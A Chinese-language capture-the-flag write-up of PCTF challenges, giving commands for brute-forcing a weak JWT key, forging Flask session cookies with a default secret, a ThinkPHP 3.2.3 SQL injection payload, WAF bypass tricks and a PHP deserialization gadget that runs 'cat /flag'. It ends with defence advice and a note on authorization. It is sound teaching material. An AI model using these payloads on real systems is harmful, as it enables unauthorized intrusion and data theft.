PCTF比赛中的JWT伪造与Flask会话篡改实战解析
1. PCTF解题思路全解析
最近在整理PCTF比赛的解题过程,发现其中涉及不少典型的安全攻防技术点。作为CTF老玩家,我想把这次比赛中几个关键题目的解题思路完整记录下来,特别是那些涉及JWT伪造、Flask会话篡改和SQL注入的实战案例。
2. JWT安全攻防实战
2.1 JWT基础结构分析
JSON Web Token由三部分组成:Header、Payload和Signature。比赛中遇到的题目使用了HS256算法,关键漏洞在于密钥强度不足。通过暴力破解获取密钥后,我们可以任意修改Payload内容。
典型的问题Token示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjU4NzM1NDAwfQ.7d8f9g0h1j2k3l4m5n6o7p8q9r0s1t2u3v4w5x6y7z2.2 实战破解过程
使用jwt_tool进行破解:
python3 jwt_tool.py eyJhbGciOiJIUz... -C -d rockyou.txt关键技巧:当遇到时间戳校验时,可以尝试修改iat字段为近期的UNIX时间戳
3. Flask会话伪造技术
3.1 会话机制分析
Flask使用签名cookie存储会话信息。通过flask_session_cookie_manager3工具,我们可以解码和重新编码会话cookie:
python3 flask_session_cookie_manager3.py decode -c "session_cookie_value" -s "weak_secret"3.2 实战案例
比赛中发现题目使用了默认的secret_key,直接使用以下命令伪造admin会话:
python3 flask_session_cookie_manager3.py encode -s "secret" -t "{'user_id':'admin'}"4. SQL注入漏洞利用
4.1 基础注入手法
遇到ThinkPHP 3.2.3框架的题目,存在典型的SQL注入漏洞。使用以下payload进行测试:
/index.php?m=Home&c=Index&a=test&id[0]=exp&id[1]=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)4.2 进阶绕过技巧
当遇到WAF过滤时,可以使用以下方法绕过:
- 使用/**/替代空格
- 使用hex编码敏感关键词
- 利用字符串拼接函数
5. PHP反序列化漏洞
5.1 漏洞原理
题目中发现了存在风险的unserialize()调用。构造恶意序列化数据的步骤:
- 找到包含__wakeup或__destruct魔术方法的类
- 构造调用危险函数的对象链
- 生成序列化字符串
5.2 利用实例
<?php class Exploit { public $cmd = "cat /flag"; public function __destruct() { system($this->cmd); } } echo serialize(new Exploit()); ?>6. 防御方案建议
6.1 JWT安全实践
- 使用足够强度的密钥(至少32位随机字符串)
- 设置合理的过期时间
- 对敏感操作要求二次验证
6.2 SQL注入防护
- 使用预编译语句
- 严格过滤输入参数
- 最小化数据库账户权限
6.3 会话安全加固
- 使用强密钥(可通过os.urandom生成)
- 定期更换会话密钥
- 对敏感操作进行二次验证
7. 比赛经验总结
在实际比赛中,时间管理非常重要。建议:
- 先快速扫描所有题目
- 标记出自己擅长的题型
- 合理分配解题时间
- 遇到卡壳及时换题
特别注意:真实环境中测试漏洞必须获得授权,未经许可的测试可能涉及法律风险